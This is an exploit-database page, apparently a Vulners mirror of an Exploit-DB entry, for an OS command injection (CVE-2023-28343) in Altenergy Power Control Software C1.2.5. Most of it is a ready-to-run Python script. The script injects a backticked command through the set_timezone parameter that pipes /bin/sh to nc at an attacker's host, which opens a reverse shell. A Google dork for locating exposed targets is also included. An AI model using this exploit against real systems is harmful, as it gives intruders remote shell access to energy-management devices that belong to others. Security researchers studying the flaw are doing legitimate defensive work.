Lucene search
+L

Altenergy Power Control Software C1.2.5 - OS command injection

🗓️ 08 Apr 2023 00:00:00Reported by Ahmed AlrokyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 281 Views

Altenergy Power Control Software C1.2.5 OS command injection vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Altenergy Power Control Software C1.2.5 - OS command injection
7 Apr 202300:00
–zdt
bdu_fstec
BDU FSTEC
Altenergy Power Control Privilege Escalation Command Execution
17 Apr 202300:00
–bdu_fstec
circl
Circl
CVE-2023-28343
14 Mar 202323:23
–circl
cnnvd
CNNVD
Altenergy Power System Control Software: Operating System Command Injection Vulnerability
14 Mar 202300:00
–cnnvd
cve
CVE
CVE-2023-28343
14 Mar 202300:00
–cve
cvelist
Cvelist
CVE-2023-28343
14 Mar 202300:00
–cvelist
githubexploit
GithubExploit
Exploit for OS Command Injection in Apsystems Energy_Communication_Unit_Firmware
23 Mar 202315:19
–githubexploit
ics
ICS
APSystems Altenergy Power Control
1 Aug 202306:00
–ics
kitploit
Kitploit
CVE-2023-28343
27 Oct 202605:08
–kitploit
kitploit
Kitploit
CVE-2023-28343
26 Oct 202617:38
–kitploit
Rows per page
# Exploit Title:  Altenergy Power Control Software C1.2.5 - OS command injection
# Google Dork: intitle:"Altenergy Power Control Software"
# Date: 15/3/2023
# Exploit Author: Ahmed Alroky
# Vendor Homepage: https://apsystems.com/
# Version: C1.2.5
# Tested on: Windows 10
# CVE : CVE-2023-28343


import requests
import argparse

def exploit(target,attacker,port):
    url = f'{target}/index.php/management/set_timezone'

    headers = {
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'X-Requested-With': 'XMLHttpRequest',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'Origin': f'{target}',
        'Referer': f'{target}/index.php/management/datetime',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'en-US,en;q=0.9',
        'Connection': 'close'
    }

    print(f"Sending  Request")
    data = {
        'timezone': f'`mknod /tmp/pipe p;/bin/sh 0</tmp/pipe | nc
{attacker} {port} 1>/tmp/pipe`'
    }

    response = requests.post(url, headers=headers, data=data)
    # print(response.text)
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Parse target, attacker,
and port.',)

    parser.add_argument('--target','-t', type=str, help='The target IP
address or hostname. example : http://192.168.254')
    parser.add_argument('--attacker','-a', type=str, help='The attacker IP
address or hostname.')
    parser.add_argument('--port', '-p',type=int, help='Listening port')

    args = parser.parse_args()
    try:
        exploit(args.target,args.attacker,args.port)
    except:
        parser.print_help()
    print("Exploit done")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Apr 2023 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.19.8
EPSS0.84752
SSVC
281